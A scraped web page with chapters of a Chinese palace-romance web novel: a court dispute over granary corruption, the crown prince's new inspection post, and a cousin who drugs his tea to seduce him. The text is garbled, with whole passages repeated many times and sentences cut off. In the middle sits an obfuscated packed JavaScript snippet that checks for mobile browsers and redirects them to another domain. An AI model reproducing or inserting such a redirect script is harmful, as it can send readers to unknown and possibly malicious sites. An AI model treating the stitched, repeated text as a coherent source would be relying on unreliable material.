高相深吸一口气,将书信放回太监手中,转身面对天元皇,沉声道。 “陛下,这些书信的确是臣与商户之间的往来,但臣可以明确告诉陛下,其中并未有任何****之事。臣与商户交流,无非是为了了解市场动态,以便更好地为朝廷制定政策。这些书信 ,正是臣勤政为民的证据,而非贪赃枉法的罪证。” 魏迟闻言,不禁冷笑一声。 “果然不愧是高相,让下官知道了什么叫做巧舌如簧,将这些书信说得如此冠冕堂皇。但不知高相能否解释,为何商户会在书信中提及‘感激高相照拂,日后必有厚报’之类的话语?这难道不是明摆着的贿赂之言吗?” 秦王见状不悦的看了一眼魏迟拱手道。 “父皇,高相已经做了解释,魏大人却纠缠不休,而起魏大人不过就是一个四品御史中丞,居然敢当众叫板当朝丞相,儿臣怀疑有人故意指使魏迟,污蔑高家,从而达到一些不可告人的目的。” 有人指使这个人是谁,意思已经不言而喻,天元皇皱眉沉思片刻。 “退朝,此事改日再议。” 商玄澈再次拱手,抬头看着天元皇,眼里都是坚定之色。 “陛下,朝堂之事是以天下苍生为先,今日赋税乃是义仓问题已经涉及到民生。” 天元皇看着太子面色不悦。 “那太子想如何?” “臣恳请陛下准许臣入职刑部,设立刑部监察司一职监管各地方**,也好让臣有理由查探义仓是否有人中饱私囊。” 魏大人也急忙拱手。 “陛下,天下义仓为的是百姓能够在有灾之年有救济之物资,若是有太子殿下出面明察暗访监察,那么也无人敢动义仓的主意。” 天元皇听了看着商玄澈。 “你可是储君,你要去各地方视察?” 商玄澈一脸郑重的拱手。 “是,高相刚刚有一句话说得对,陛下已经颁布了减少赋税添置义仓的圣旨,圣旨不可更改,朝堂为了百姓最好的办法就是将义仓完善,避免有贪官污吏鱼肉百姓,臣愿意成为陛下手里的利刃,斩除那些**义仓粮食的毒瘤。” 镇国公看着太子一脸震惊,太子居然要离开皇城,急忙朝天元皇拱手。 “陛下,太子乃是储君,不可轻易离开皇城,更何况去到各地方视察,危险系数太多,若是有人趁机行刺,太子殿下岂不是置身危险之中,还请陛下三思。” 去各地方视察,那就要离开皇城,又看了看还在祈求的镇国公,这二人是没有商量好吗?还是故意唱戏?不管了,既然他要离开,那不如顺水推舟,天元皇看着商玄澈片刻。 “那就依太子所言吧,即日起刑部设立督察司一职,太子可监管天下义仓。” 镇国公着急的开口。 “陛下…… ………” 商玄澈却已经跪下行礼。 “臣多谢陛下。” “臣定会将**义仓的人全部绳之以法,绝对不会有一个漏网之鱼。” 早朝就这么结束了。 随着太监一声高呼。 “退朝。” 天元皇离开了大殿。 商玄澈嘴角勾起一抹很淡的笑意,一步步朝门外走去。 该回家陪若若吃饭了。 秦王疾步更上他的步伐。 “没想到太子殿下还是一个痴情之人,为了给太子妃出气已经不管不顾了。” 商玄澈只是看着他冷笑一下没有说话。 秦王提醒道。 “太子,你有了软肋了,为一个女人将朝堂搅得天翻地覆,就不怕给自己招惹麻烦吗?” 商玄澈看着他冷笑着开口。 “本宫的确有软肋了,你知道了又如何?你大可动她试试!” 他总是如此的风轻云淡又如此的嚣张,秦王气呼呼的开口。 “你………………” 商玄语气嘲讽的开口。 “不服吗?那你去给陛下告状啊,你大可放心,那个孝子还压得住本宫的,只要你承受得起代价。” 作者有话说:怎么样?咱们玄澈是不是好霸气,上票票支持一波啊宝子们 ………” 商玄澈却已经跪下行礼。 “臣多谢陛下。” “臣定会将**义仓的人全部绳之以法,绝对不会有一个漏网之鱼。” 早朝就这么结束了。 随着太监一声高呼。 “退朝。” 天元皇离开了大殿。 商玄澈嘴角勾起一抹很淡的笑意,一步步朝门外走去。 该回家陪若若吃饭了。 秦王疾步更上他的步伐。 “没想到太子殿下还是一个痴情之人,为了给太子妃出气已经不管不顾了。” 商玄澈只是看着他冷笑一下没有说话。 秦王提醒道。 “太子,你有了软肋了,为一个女人将朝堂搅得天翻地覆,就不怕给自己招惹麻烦吗?” 商玄澈看着他冷笑着开口。 “本宫的确有软肋了,你知道了又如何?你大可动她试试!” 他总是如此的风轻云淡又如此的嚣张,秦王气呼呼的开口。 “你………………” 商玄语气嘲讽的开口。 “不服吗?那你去给陛下告状啊,你大可放心,那个孝子还压得住本宫的,只要你承受得起代价。” 作者有话说:怎么样?咱们玄澈是不是好霸气,上票票支持一波啊宝子们 ………” 商玄澈却已经跪下行礼。 “臣多谢陛下。” “臣定会将**义仓的人全部绳之以法,绝对不会有一个漏网之鱼。” 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“臣定会将**义仓的人全部绳之以法,绝对不会有一个漏网之鱼。” 早朝就这么结束了。 随着太监一声高呼。 “退朝。” 天元皇离开了大殿。 商玄澈嘴角勾起一抹很淡的笑意,一步步朝门外走去。 该回家陪若若吃饭了。 秦王疾步更上他的步伐。 “没想到太子殿下还是一个痴情之人,为了给太子妃出气已经不管不顾了。” 商玄澈只是看着他冷笑一下没有说话。 秦王提醒道。 “太子,你有了软肋了,为一个女人将朝堂搅得天翻地覆,就不怕给自己招惹麻烦吗?” 商玄澈看着他冷笑着开口。 “本宫的确有软肋了,你知道了又如何?你大可动她试试!” 他总是如此的风轻云淡又如此的嚣张,秦王气呼呼的开口。 “你………………” 商玄语气嘲讽的开口。 “不服吗?那你去给陛下告状啊,你大可放心,那个孝子还压得住本宫的,只要你承受得起代价。” 作者有话说:怎么样?咱们玄澈是不是好霸气,上票票支持一波啊宝子们 ………” 商玄澈却已经跪下行礼。 “臣多谢陛下。” “臣定会将**义仓的人全部绳之以法,绝对不会有一个漏网之鱼。” 早朝就这么结束了。 随着太监一声高呼。 “退朝。” 天元皇离开了大殿。 商玄澈嘴角勾起一抹很淡的笑意,一步步朝门外走去。 该回家陪若若吃饭了。 秦王疾步更上他的步伐。 “没想到太子殿下还是一个痴情之人,为了给太子妃出气已经不管不顾了。” 商玄澈只是看着他冷笑一下没有说话。 秦王提醒道。 “太子,你有了软肋了,为一个女人将朝堂搅得天翻地覆,就不怕给自己招惹麻烦吗?” 商玄澈看着他冷笑着开口。 “本宫的确有软肋了,你知道了又如何?你大可动她试试!” 他总是如此的风轻云淡又如此的嚣张,秦王气呼呼的开口。 “你………………” 商玄语气嘲讽的开口。 “不服吗?那你去给陛下告状啊,你大可放心,那个孝子还压得住本宫的,只要你承受得起代价。” 作者有话说:怎么样?咱们玄澈是不是好霸气,上票票支持一波啊宝子们 ………” 商玄澈却已经跪下行礼。 “臣多谢陛下。” “臣定会将**义仓的人全部绳之以法,绝对不会有一个漏网之鱼。” 早朝就这么结束了。 随着太监一声高呼。 “退朝。” 天元皇离开了大殿。 商玄澈嘴角勾起一抹很淡的笑意,一步步朝门外走去。 该回家陪若若吃饭了。 秦王疾步更上他的步伐。 “没想到太子殿下还是一个痴情之人,为了给太子妃出气已经不管不顾了。” 商玄澈只是看着他冷笑一下没有说话。 秦王提醒道。 “太子,你有了软肋了,为一个女人将朝堂搅得天翻地覆,就不怕给自己招惹麻烦吗?” 商玄澈看着他冷笑着开口。 “本宫的确有软肋了,你知道了又如何?你大可动她试试!” 他总是如此的风轻云淡又如此的嚣张,秦王气呼呼的开口。 “你………………” 商玄语气嘲讽的开口。 “不服吗?那你去给陛下告状啊,你大可放心,那个孝子还压得住本宫的,只要你承受得起代价。” 作者有话说:怎么样?咱们玄澈是不是好霸气,上票票支持一波啊宝子们 第一百二十九章 万般不甘心压心底 说完,眼里的嘲讽越是浓郁。 冷笑一声。 “呵!” 然后摔袖大步流星的离去。 秦王被气的脸色通红。 “你………………” 却只能看着商玄澈的背影越来越远。 “商玄澈。” 时间线拉回。 昨夜太子府书房。 魏迟恭敬的朝太子行礼。 “太子殿下。” 商玄澈看着他沉声开口。 “魏迟,本宫将你放在御史台不是让你真的无所事事的。” 面对商玄澈的威压,魏迟急忙跪下,太子殿下现在真的是越来越有威严了,甚至浑身都散发着杀气。 “太子殿下恕罪,下官这不刚升上来对御史台还不够熟悉,所以小心谨慎一些,总是没错的。” 商玄澈抬手接过苍术递过来的信件账本。 “这些是关于去年赋税以及义仓的东西,你明日知道怎么做了?” 魏迟急忙上前接过,看着手里的东西眼里闪过一抹震惊,很快拿着东西跪下行礼。 “臣回去就连夜写奏折。” 镇国公府。 国公夫人拿着一堆画像,朝心不在焉的李清舒开口。 “清舒,你看看这个怎么样?” 一边说着一边将手里的画像往李清舒身前递。 “这是兵部侍郎家的嫡子。” 李清舒看了一眼就移开了目光。 国公夫人见状急忙拿起另外一幅画。 “那这个呢?” “这个是忠勇侯的嫡次子……………” 嫡次子?李清舒眉头紧皱了起来,国公夫人又立即换了一幅画。 “还有这个,这个是历部尚书家的嫡子。” 李清舒目光落到了画像上片刻,这些人比起表哥都差太远了。 “母亲,我的婚事就只能找这些纨绔子弟了吗?” “这些人全都是指望着家里,自己毫无本事,甚至都没有一份好的官职在身。” 国公夫人见状拿起旁边的另一幅画,叹了一口气,缓缓将画打开。 “唉,也有官职在身的,但是离皇城就远了,这是荆州刺史年少有为,今年刚去任职的,你若是愿意………………” 一个刺史算什么?李清舒带着几分怒气的开口。 “我不愿意!我累了,先回房休息。” 然后就直接离开了。 国公夫人看着她的背影无 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 奈的开口。 “你这孩子……………” 然后又开始看起其他的画像,这都是短时间让人搜罗来的。 周嬷嬷看着国公夫人正发愁的样子,在一旁开口安抚道。 “夫人,小姐这是还没有想开,等给她选到一个英俊潇洒的夫婿,小姐一定会想开的。” 国公夫人看着手里的画像,伸手揉了揉眉心,忧心忡忡的开口。 “她这只怕是还没放下太子,这世间要想找与太子并肩的男儿怕是难啊。” 周嬷嬷赶忙上前,给国公夫人递上一杯茶,宽慰道。 “夫人莫急,缘分这事儿向来奇妙,说不定哪天就有个好儿郎出现在小姐面前呢。” 国公夫人接过茶,浅抿一口,却仍难掩心中的愁绪。 而另一边,李清舒回到房间,气呼呼地打开了自己的衣柜,从里面将一个小箱子拿了出来,缓缓打开。 只见一顶精致的凤冠躺在里面,前额的东珠似乎要亮瞎人的眼睛,这是姑母当初成亲时候用的凤冠,也是先皇赏赐的,明明太子妃就应该是自己的,为什么最后自己要去挑选那些废物。 想起母亲今日拿来的那些画像,那些所谓的世家子弟,不过是些庸碌之辈,连表哥的一个手指头都比不上。 伸手抚摸着上面的东珠,眼里都是不甘心与疯狂。 表哥,李家这么多年的付出,凭什么就是你想要就要,说不要就不要的。 翊坤宫。 高贵妃看着秦王。 “启儿,沈安锦不适合当侧妃,小家子气上不得台面就算了,居然敢算计到自家人的头上,居然污蔑晚宁,她这样岂不是让你与高家有嫌隙,本宫会去你父皇那里,请求你父皇废掉她的侧妃之位,明日你带着她去高家跪下给晚宁道歉。” 秦王听得眉头一皱。 “母妃,锦儿现在还在小月子里,同样都是女人,你又何必如此为难她?” “而且本来就是晚宁推她落水的,她大度,为了儿臣不追究高家的责任已经很是……………” 自己在后宫这么多年,什么样的手段没有见过此事自己一听就知道是怎么回事,高贵妃厉声呵斥。 “本宫看你是被南诏这个妖女迷了心智,黑白不分倒打一耙,枉你还是堂堂的王爷。” 秦王不悦的开口。 “母妃,锦儿是儿臣的枕边人,她是什么性子儿臣最为清楚了,母亲,你不能因为她是南诏人就对她有偏见,更不能因为心疼你自己的侄女就如此责怪她 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 。” 高贵妃气的一巴掌拍在桌子上。 “本宫看你才是是非不分,启儿,你不要逼母妃对她用一些特殊的手段,明日你必须带着她去高家跪着给晚宁道歉,如果晚宁原谅她,她的侧妃之位本宫就暂时给她留着。” 秦王心有不甘,可是又不敢完全忤逆,母妃的手段自己还是清楚几分的,若是真的想要一个弱女子的性命,简直就是轻而易举。 “母妃,锦儿现在还在小月子里,真的去了高家也会让高家觉得不吉利,等到她出了小月子,儿子就带着她去给晚宁道歉。” 说完,似乎是怕高贵妃再说什么,急忙拱手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206024|181028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“天色不早了,儿臣先回府,明日再来给母妃请安。” 看着他急匆匆离开的背影,高贵妃伸手指着他的背影。 “这个逆子,聪明一世糊涂一时…………” 秋嬷嬷急忙上前扶高贵妃坐下。 “娘娘,你消消气,好歹殿下说了会去道歉。” 高贵妃头疼的扶着头。 “他到底知不知道高家对他来说有多重要?居然为了一个女子糊涂至此。” “秋嬷嬷,立即让人好好的查一查这个沈安锦,本宫倒是要看看她到底是多大的本事居然能够迷住秦王。” 太子府。 沈安若看着走进来的商玄澈,一边起身替他取下披风一边开口。 “你去刑部是有什么耽搁了吗?这么晚才回来。” 商玄澈拉着她的手朝桌子边走去。 “不是让人回来告诉你让你先吃饭吗?” “看你这样,这是还没有用晚膳。” 沈安若笑脸如花的看着他。 “我吃了一些糕点了,然后等着你回来一起用晚膳。” 翡儿端来了热水给商玄澈净手。 王司记也带人将饭菜端了上来。 商玄澈抬手给沈安若夹菜。 “今日我借赋和义仓的事情,请陛下准许我担任刑部监察司一职,刚好巡视各地方义仓也可以体察民情,我准备先视察皇城附近的地方,然后等到春闱的事情结束,咱们一路向幽州的方向去,你还可以跟长姐聚上一聚。” 能见长姐,沈安若拿筷子的手一顿,抬头眼里都是惊喜。 “咱们要去幽州?还能见姐姐?” 商玄澈伸手理了理她耳边的碎发。 “对,不过咱们出发是去视察的,可能到幽州需要不少时间。” 沈安若激动的站起来,弯腰抱着商玄澈。 “商玄澈,你怎么这么好。” “你知道吗?我早就想姐姐了。” 商玄澈伸手拍了拍她放在自己胸口前的手。 “乖,先吃饭,吃过饭你可以先给长姐写一封信。” 沈安若这才坐下来,急忙给他夹菜。 “对,我们先吃饭。” 商玄澈一边吃着她夹的菜一边开口。 “春闱还有一月半,你可以在皇城好好的玩玩。” 春闱结束放杏榜差不多三月半,一路视察过去,等到了中秋也应该能到幽州了,可以跟姐姐一起过节了,沈安若脸上的开心都溢出来了,可是很快又担忧的开口。 “玄澈,你是储君,你这离开了皇城会不会让有些人有机可趁?” 商玄澈闻言缓缓开口。 “我会做一些安排,舅舅也不可能真的坐视不管的,毕竟李家与太子一荣俱荣一损俱损。” 二人正在说着。 苍术进来拱手。 “殿下,国公爷府的人来请,说国公爷有重要的事情跟殿下商议,请殿下去一趟国公府。” 第一百三十章 带路 商玄澈放下筷子,还好已经差不多饱了。 “估计舅舅是为了我要是巡视义仓的事情找我,我去一趟吧。” 沈安若也跟着站起来,一脸撒娇的开口。 “既然要准备去巡视义仓,你接下来只怕有许多的公事要处理,我们相处的时间只怕是也会变少了,我陪着你一起去吧,等到了国公府,我去与舅母聊聊天。” 有什么正事不能等着明天说的,这国公府还有一个不安分的李清舒呢,自己当然得跟着去。 商玄澈闻言露出一抹笑意,伸手拉着她的手。 “那我们就一起去吧。” 二人到了国公府。 商玄澈就朝书房走去。 沈安若则去国公夫人的院子。 一进书房,那股熟悉的檀香味就传来,还有一抹粉色的身影坐桌子前煮茶。 “表哥来了。” 商玄澈眉头一皱。 “舅舅呢?” 李清舒一边煮茶一边抬头看了一眼商玄澈。 “表哥现在就这么厌恶清舒了吗?” “还记得小时候,我不小心来书房打碎了父亲最爱的砚台,为了不让我受罚,还是表哥替我顶罪的。” 商玄澈神色未动。 “那都是小时候的事情,而且身为兄长,照顾妹妹也是应该的,清舒不必一直记着。” “舅舅呢?” 李清舒将煮是的茶倒了一杯放在桌子上。 “父亲去取东西了,刚好今日我有几句话要跟表哥说。” “表哥坐下喝杯茶吧。” 见商玄澈依旧站着不为所动。 李清舒抬手端起茶杯喝了一口茶。 “表哥既然说把我当亲妹妹一般疼爱,怎么又连片刻的时间都不愿意给我?” “我承认,我的确是做错了一些事情,我不应该为难表嫂的。” “可是表哥,你我的事情你真的就没有半分责任吗?” “姑母不只是一次在表哥的面前说过,我就是表哥的妻子,表哥你以往的时候也不曾反对过吧?” “如今表哥里有了意中人,就要留我在原地痛苦视而不见吗?” 看着李清舒已经将茶杯里面的茶喝完了,商玄澈叹了一口气,走上前坐下。 “清舒,我们都要往前看的。” “你是一个很好的姑娘,以后你会遇到属于你的良人,至于我们之间…………” 看着李清舒递过来的茶,商玄澈终究还是端起了茶 杯。 “以往本宫的态度的确有问题,本宫也承认,这些年在许多小事上都会依着舅舅和母后的意思,可是清舒,本宫已经成亲了。” “本宫的妻子也是一个很好的姑娘,本宫不能负她。” “清舒,本宫欠你一句抱歉。” “国公府与太子府这么多年都绑在一起,本宫默认的态度的确能够让人误会,耽误了你的亲事这么多年是本宫的不是。” 所以就能负我是吗?李清舒眼里闪过一抹不甘心,很快就消失不见。 “表哥倒是坦诚。” 抬手给商玄澈续了茶。 “这些日子母亲已经在给我挑选未婚夫了。” “可我不想嫁那些纨绔,表哥可有什么建议给?” 见李清舒谈论起自己的婚事,商玄澈也多了几分耐心。 “军中有一些年少有为的将军,过几日本宫让人将他们的画像送来,还有几个藩王世子也可以考虑。” 李清舒闻言捏着茶杯的手紧了紧。 “那就多谢表哥了。” 商玄澈轻抿一口茶缓缓开口。 “有合心意的先将亲事定下来,本宫会与你表嫂给你准备一份嫁妆,真心祝福你婚姻美满,若是将来受了什么委屈,尽管给家里说,本宫与你表嫂都不会坐视不管。” 呵!给嫁妆也得跟沈安若绑成一份是吧!李清舒抬头看着商玄澈正在皱眉,还伸手按压着自己的太阳穴,眼里闪过一抹光芒。 “好,清舒记住了。” “若是真的受了委屈,一定会来找表哥替我做主的。” 为什么感觉自己头晕乎乎的,商玄澈微微晃了晃脑袋。 这茶李清舒也在喝啊! 时机差不多了,李清舒缓缓起身,坐到了商玄澈的身边,一脸关切的开口。 “表哥,你怎么了?” “可是身子不适?” 商玄澈又不适应的皱了皱眉,忍不住想起身。 李清舒伸手扶着他。 “听说今日表哥进宫许久才出来,只怕是感染了风寒了,要不我扶表哥在软榻上躺一躺,然后请大夫过来看看。” 眼见商玄澈眼神已经不清明,李清舒眼里带着一抹得逞。 伸手一扯衣服,香肩露了出来,声音娇软的开口。 “表哥,清舒自幼便心悦于你,明明你对清舒也是有情义的,为什么我们要有情之人两分离?” “这些年为了表哥储君之位的稳固,面对顾思娴的时候我要忍让 ,面对和亲公主的时候我也要忍让,为了表哥,我都心甘情愿当侧妃了,为什么沈安若她就是容不下我?明明我才应该是表哥的妻子。” 李清舒已经脱掉了外衫,只留了一个吊带抹胸,抬手抚摸着商玄澈的脸。 商玄澈只觉脑袋愈发沉重,眼前李清舒的模样也有些模糊起来,但心中仍存着一丝理智,奋力甩开李清舒的手。 “李清舒,你知不知道你在做什么?” “这里可是你父亲的书房!” 李清舒摔在地上,又爬了起来,伸手扯着商玄澈朝软榻走去。 “那又如何?” “你本来就应该是我的夫君。” 将商玄澈推倒在软榻上,双手去扯商玄澈的衣服。 “即便是我要嫁给别人,我也得先跟你圆了房,哪怕是一夜夫妻,我也要挣。” 国公府正院。 沈安若有一句没一句的与国公夫人聊着,有些心不在焉。 国公夫人自然也察觉出来了,笑着开口。 “太子妃,这两日媒人拿了不少青年才俊的画像过来,要不你替我参谋参谋?” 也是,快要尬聊不下去了,沈安若点了点头。 “好啊,不知都挑选了哪些青年才俊。” 国公夫人急忙对周嬷嬷使了一个眼色。 周嬷嬷福身朝外走去。 一开门,就见镇国公走进来。 “老爷?” 沈安若与国公夫人也站起来了。 李夫人神色诧异的开口。 “老爷你与太子殿下谈完了吗?” 沈安若皱了皱,看着镇国公。 “国公爷,太子殿下呢?” 镇国公神色一懵。 “你们在说什么?” “太子殿下来府里了?” 镇国公没有请太子来府里!商玄澈去了书房见到的人是是谁? 沈安若疾步朝外走去。 “国公爷,你的人到太子府说有急事要跟太子商议,太子一来国公府就去书房了,如今看来是有人假冒了国公爷邀请的太子,劳烦国公爷带路书房。” 镇国公和国公夫人相视一眼,心里一下子有了一股不好的预感,难道是清舒? 二人急忙跟上了沈安若的脚步。 “太子妃,你先等等,臣先去书房看看!” 沈安若回头冷冷的看着二人。 “带路。” “你们最好祈祷太子没有什么不好的意外,不然本宫不介意**。” 想到了李清舒的执着,国公夫人一咬牙,上前伸手拉住沈安若。 “太子妃,这里是国公府,也是太子的家,太子在自己的家里不会出什么事的,你还是陪着我去看画像吧,让国公爷去请太子。” 这是有意要拖住自己啊,沈安若抬手一挥,直接挥开了国公夫人的手,声音里面带着清冷。 “带路,不要让本宫说第三遍。” 自己与沈安若茶都喝了几杯了,清舒一样太子待在一起这么久,只怕是已经………既然已经成为了定局,哪怕是清舒再不争气,做母亲的也只能替她争取,再次上前拦住沈安若。 “太子妃,你听我说…………” 沈安若神色一冷,抬手一把**出鞘,抵在国公夫人的脖子上,眼里杀意波动。 “带路!” ,面对和亲公主的时候我也要忍让,为了表哥,我都心甘情愿当侧妃了,为什么沈安若她就是容不下我?明明我才应该是表哥的妻子。” 李清舒已经脱掉了外衫,只留了一个吊带抹胸,抬手抚摸着商玄澈的脸。 商玄澈只觉脑袋愈发沉重,眼前李清舒的模样也有些模糊起来,但心中仍存着一丝理智,奋力甩开李清舒的手。 “李清舒,你知不知道你在做什么?” “这里可是你父亲的书房!” 李清舒摔在地上,又爬了起来,伸手扯着商玄澈朝软榻走去。 “那又如何?” “你本来就应该是我的夫君。” 将商玄澈推倒在软榻上,双手去扯商玄澈的衣服。 “即便是我要嫁给别人,我也得先跟你圆了房,哪怕是一夜夫妻,我也要挣。” 国公府正院。 沈安若有一句没一句的与国公夫人聊着,有些心不在焉。 国公夫人自然也察觉出来了,笑着开口。 “太子妃,这两日媒人拿了不少青年才俊的画像过来,要不你替我参谋参谋?” 也是,快要尬聊不下去了,沈安若点了点头。 “好啊,不知都挑选了哪些青年才俊。” 国公夫人急忙对周嬷嬷使了一个眼色。 周嬷嬷福身朝外走去。 一开门,就见镇国公走进来。 “老爷?” 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沈安若有一句没一句的与国公夫人聊着,有些心不在焉。 国公夫人自然也察觉出来了,笑着开口。 “太子妃,这两日媒人拿了不少青年才俊的画像过来,要不你替我参谋参谋?” 也是,快要尬聊不下去了,沈安若点了点头。 “好啊,不知都挑选了哪些青年才俊。” 国公夫人急忙对周嬷嬷使了一个眼色。 周嬷嬷福身朝外走去。 一开门,就见镇国公走进来。 “老爷?” 沈安若与国公夫人也站起来了。 李夫人神色诧异的开口。 “老爷你与太子殿下谈完了吗?” 沈安若皱了皱,看着镇国公。 “国公爷,太子殿下呢?” 镇国公神色一懵。 “你们在说什么?” “太子殿下来府里了?” 镇国公没有请太子来府里!商玄澈去了书房见到的人是是谁? 沈安若疾步朝外走去。 “国公爷,你的人到太子府说有急事要跟太子商议,太子一来国公府就去书房了,如今看来是有人假冒了国公爷邀请的太子,劳烦国公爷带路书房。” 镇国公和国公夫人相视一眼,心里一下子有了一股不好的预感,难道是清舒? 二人急忙跟上了沈安若的脚步。 “太子妃,你先等等,臣先去书房看看!” 沈安若回头冷冷的看着二人。 “带路。” “你们最好祈祷太子没有什么不好的意外,不然本宫不介意**。” 想到了李清舒的执着,国公夫人一咬牙,上前伸手拉住沈安若。 “太子妃,这里是国公府,也是太子的家,太子在自己的家里不会出什么事的,你还是陪着我去看画像吧,让国公爷去请太子。” 这是有意要拖住自己啊,沈安若抬手一挥,直接挥开了国公夫人的手,声音里面带着清冷。 “带路,不要让本宫说第三遍。” 自己与沈安若茶都喝了几杯了,清舒一样太子待在一起这么久,只怕是已经………既然已经成为了定局,哪怕是清舒再不争气,做母亲的也只能替她争取,再次上前拦住沈安若。 “太子妃,你听我说…………” 沈安若神色一冷,抬手一把**出鞘,抵在国公夫人的脖子上,眼里杀意波动。 “带路!” ,面对和亲公主的时候我也要忍让,为了表哥,我都心甘情愿当侧妃了,为什么沈安若她就是容不下我?明明我才应该是表哥的妻子。” 李清舒已经脱掉了外衫,只留了一个吊带抹胸,抬手抚摸着商玄澈的脸。 商玄澈只觉脑袋愈发沉重,眼前李清舒的模样也有些模糊起来,但心中仍存着一丝理智,奋力甩开李清舒的手。 “李清舒,你知不知道你在做什么?” “这里可是你父亲的书房!” 李清舒摔在地上 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镇国公没有请太子来府里!商玄澈去了书房见到的人是是谁? 沈安若疾步朝外走去。 “国公爷,你的人到太子府说有急事要跟太子商议,太子一来国公府就去书房了,如今看来是有人假冒了国公爷邀请的太子,劳烦国公爷带路书房。” 镇国公和国公夫人相视一眼,心里一下子有了一股不好的预感,难道是清舒? 二人急忙跟上了沈安若的脚步。 “太子妃,你先等等,臣先去书房看看!” 沈安若回头冷冷的看着二人。 “带路。” “你们最好祈祷太子没有什么不好的意外,不然本宫不介意**。” 想到了李清舒的执着,国公夫人一咬牙,上前伸手拉住沈安若。 “太子妃,这里是国公府,也是太子的家,太子在自己的家里不会出什么事的,你还是陪着我去看画像吧,让国公爷去请太子。” 这是有意要拖住自己啊,沈安若抬手一挥,直接挥开了国公夫人的手,声音里面带着清冷。 “带路,不要让本宫说第三遍。” 自己与沈安若茶都喝了几杯了,清舒一样太子待在一起这么久,只怕是已经………既然已经成为了定局,哪怕是清舒再不争气,做母亲的也只能替她争取,再次上前拦住沈安若。 “太子妃,你听我说…………” 沈安若神色一冷,抬手一把**出鞘,抵在国公夫人的脖子上,眼里杀意波动。 “带路!” ,面对和亲公主的时候我也要忍让,为了表哥,我都心甘情愿当侧妃了,为什么沈安若她就是容不下我?明明我才应该是表哥的妻子。” 李清舒已经脱掉了外衫,只留了一个吊带抹胸,抬手抚摸着商玄澈的脸。 商玄澈只觉脑袋愈发沉重,眼前李清舒的模样也有些模糊起来,但心中仍存着一丝理智,奋力甩开李清舒的手。 “李清舒,你知不知道你在做什么?” “这里可是你父亲的书房!” 李清舒摔在地上,又爬了起来,伸手扯着商玄澈朝软榻走去。 “那又如何?” “你本来就应该是我的夫君。” 将商玄澈推倒在软榻上,双手去扯商玄澈的衣服。 “即便是我要嫁给别人,我也得先跟你圆了房,哪怕是一夜夫妻,我也要挣。” 国公府正院。 沈安若有一句没一句的与国公夫人聊着,有些心不在焉。 国公夫人自然也察觉出来了,笑着开口。 “太子妃,这两日媒人拿了不少青年才俊的画像过来,要不你替我参谋参谋?” 也是,快要尬聊不下去了,沈安若点了点头。 “好啊,不知都挑选了哪些青年才俊。” 国公夫人急忙对周嬷嬷使了一个眼色。 周嬷嬷福身朝外走去。 一开门,就见镇国公走进来。 “老爷?” 沈安若与国公夫人也站起来了。 李夫人神色诧异的开口。 “老爷你与太子殿下谈完了吗?” 沈安若皱了皱,看着镇国公。 “国公爷,太子殿下呢?” 镇国公神色一懵。 “你们在说什么?” “太子殿下来府里了?” 镇国公没有请太子来府里!商玄澈去了书房见到的人是是谁? 沈安若疾步朝外走去。 “国公爷,你的人到太子府说有急事要跟太子商议,太子一来国公府就去书房了,如今看来是有人假冒了国公爷邀请的太子,劳烦国公爷带路书房。” 镇国公和国公夫人相视一眼,心里一下子有了一股不好的预感,难道是清舒? 二人急忙跟上了沈安若的脚步。 “太子妃,你先等等,臣先去书房看看!” 沈安若回头冷冷的看着二人。 “带路。” “你们最好祈祷太子没有什么不好的意外,不然本宫不介意**。” 想到了李清舒的执着,国公夫人一咬牙,上前伸手拉住沈安若。 “太子妃,这里是国公府,也是太子的家,太子在自己的家里不会出什么事的,你还是陪着我去看画像吧,让国公爷去请太子。” 这是有意要拖住自己啊,沈安若抬手一挥,直接挥开了国公夫人的手,声音里面带着清冷。 “带路,不要让本宫说第三遍。” 自己与沈安若茶都喝了几杯了,清舒一样太子待在一起这么久,只怕是已经………既然已经成为了定局,哪怕是清舒再不争气,做母亲的也只能替她争取,再次上前拦住沈安若。 “太子妃,你听我说…………” 沈安若神色一冷,抬手一把**出鞘,抵在国公夫人的脖子上,眼里杀意波动。 “带路!” ,面对和亲公主的时候我也要忍让,为了表哥,我都心甘情愿当侧妃了,为什么沈安若她就是容不下我?明明我才应该是表哥的妻子。” 李清舒已经脱掉了外衫,只留了一个吊带抹胸,抬手抚摸着商玄澈的脸。 商玄澈只觉脑袋愈发沉重,眼前李清舒的模样也有些模糊起来,但心中仍存着一丝理智,奋力甩开李清舒的手。 “李清舒,你知不知道你在做什么?” “这里可是你父亲的书房!” 李清舒摔在地上,又爬了起来,伸手扯着商玄澈朝软榻走去。 “那又如何?” “你本来就应该是我的夫君。” 将商玄澈推倒在软榻上,双手去扯商玄澈的衣服。 “即便是我要嫁给别人,我也得先跟你圆了房,哪怕是一夜夫妻,我也要挣。” 国公府正院。 沈安若有一句没一句的与国公夫人聊着,有些心不在焉。 国公夫人自然也察觉出来了,笑着开口。 “太子妃,这两日媒人拿了不少青年才俊的画像过来,要不你替我参谋参谋?” 也是,快要尬聊不下去了,沈安若点了点头。 “好啊,不知都挑选了哪些青年才俊。” 国公夫人急忙对周嬷嬷使了一个眼色。 周嬷嬷福身朝外走去。 一开门,就见镇国公走进来。 “老爷?” 沈安若与国公夫人也站起来了。 李夫人神色诧异的开口。 “老爷你与太子殿下谈完了吗?” 沈安若皱了皱,看着镇国公。 “国公爷,太子殿下呢?” 镇国公神色一懵。 “你们在说什么?” “太子殿下来府里了?” 镇国公没有请太子来府里!商玄澈去了书房见到的人是是谁? 沈安若疾步朝外走去。 “国公爷,你的人到太子府说有急事要跟太子商议,太子一来国公府就去书房了,如今看来是有人假冒了国公爷邀请的太子,劳烦国公爷带路书房。” 镇国公和国公夫人相视一眼,心里一下子有了一股不好的预感,难道是清舒? 二人急忙跟上了沈安若的脚步。 “太子妃,你先等等,臣先去书房看看!” 